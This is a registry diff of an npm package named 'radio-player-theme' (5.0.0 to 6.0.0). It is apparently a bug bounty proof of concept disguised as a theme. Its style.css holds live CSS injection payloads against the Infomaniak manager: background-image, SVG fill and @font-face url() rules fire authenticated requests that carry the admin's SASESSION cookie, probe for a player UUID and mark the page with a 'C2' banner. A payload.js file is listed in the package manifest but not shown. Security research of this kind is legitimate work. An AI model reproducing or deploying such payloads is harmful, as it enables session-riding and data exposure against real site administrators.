radio-player-theme 5.0.0 → 6.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/style.css +39 -7
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "radio-player-theme",
3
- "version": "5.0.0",
3
+ "version": "6.0.0",
4
4
  "description": "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation",
5
5
  "main": "style.css",
6
6
  "files": ["style.css", "payload.js"],
package/style.css CHANGED
@@ -1,11 +1,12 @@
1
- /* radio-player-theme@3.0.0 — CSS C2 EXFIL PROOF */
1
+ /* radio-player-theme@6.0.0 — CSS C2 EXFIL PROOF — SVG element scope */
2
2
  /*
3
- Targets admin loading player config preview in manager.infomaniak.com
4
- All background-image requests go to manager.infomaniak.com with
5
- SameSite=Lax SASESSION cookie attached (same eTLD+1 = infomaniak.com)
6
- Exfils: player UUID, share URL presence, authenticated API access
3
+ Targets SVG elements (in scope when SVG <style> @import runs)
4
+ Tests fill:url() and background-image on SVG elements for authenticated GET
5
+ to manager.infomaniak.com with SASESSION (same-site eTLD+1 = infomaniak.com)
7
6
  */
8
7
 
8
+ /* === HTML ELEMENT RULES (out of SVG scope — kept for manager page fallback) === */
9
+
9
10
  /* 1. Confirm CSS fires + share input value contains player UUID */
10
11
  input#share-input {
11
12
  background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-c2-exfil/share-input/FOUND') !important;
@@ -21,9 +22,9 @@ body {
21
22
  background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/1/radios/18409/players/5816') !important;
22
23
  }
23
24
 
24
- /* 4. Visual C2 banner to confirm v3 is live */
25
+ /* 4. Visual C2 banner to confirm v6 is live */
25
26
  body::after {
26
- content: "C2-V3-EXFIL-ACTIVE-MANAGER-API-HIT" !important;
27
+ content: "C2-V6-SVG-FILL-TEST" !important;
27
28
  display: block !important;
28
29
  background: #cc0000 !important;
29
30
  color: white !important;
@@ -37,3 +38,34 @@ body::after {
37
38
  width: 100% !important;
38
39
  z-index: 99999 !important;
39
40
  }
41
+
42
+ /* === SVG ELEMENT RULES (in scope when SVG <style> @import runs via SVGInject) === */
43
+
44
+ /* 5. SVG rect fill: url() — test if browser fetches external paint server */
45
+ rect {
46
+ fill: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-rect-fill-probe') #8B0000 !important;
47
+ }
48
+
49
+ /* 6. SVG image background-image — test if background-image fires on SVG elements */
50
+ image {
51
+ background-image: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-image-bg-probe') !important;
52
+ }
53
+
54
+ /* 7. SVG text fill: url() — test fill on text elements */
55
+ text {
56
+ fill: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-text-fill-probe') white !important;
57
+ }
58
+
59
+ /* 8. @font-face targeting SVG text elements — fires font request with SASESSION */
60
+ @font-face {
61
+ font-family: 'c2-probe-font';
62
+ src: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-font-probe-SASESSION') format('truetype');
63
+ }
64
+ text {
65
+ font-family: 'c2-probe-font', sans-serif !important;
66
+ }
67
+
68
+ /* 9. SVG a element test */
69
+ a {
70
+ fill: url('https://manager.infomaniak.com/v3/api/proxypass_2/css-svg-a-fill-probe') !important;
71
+ }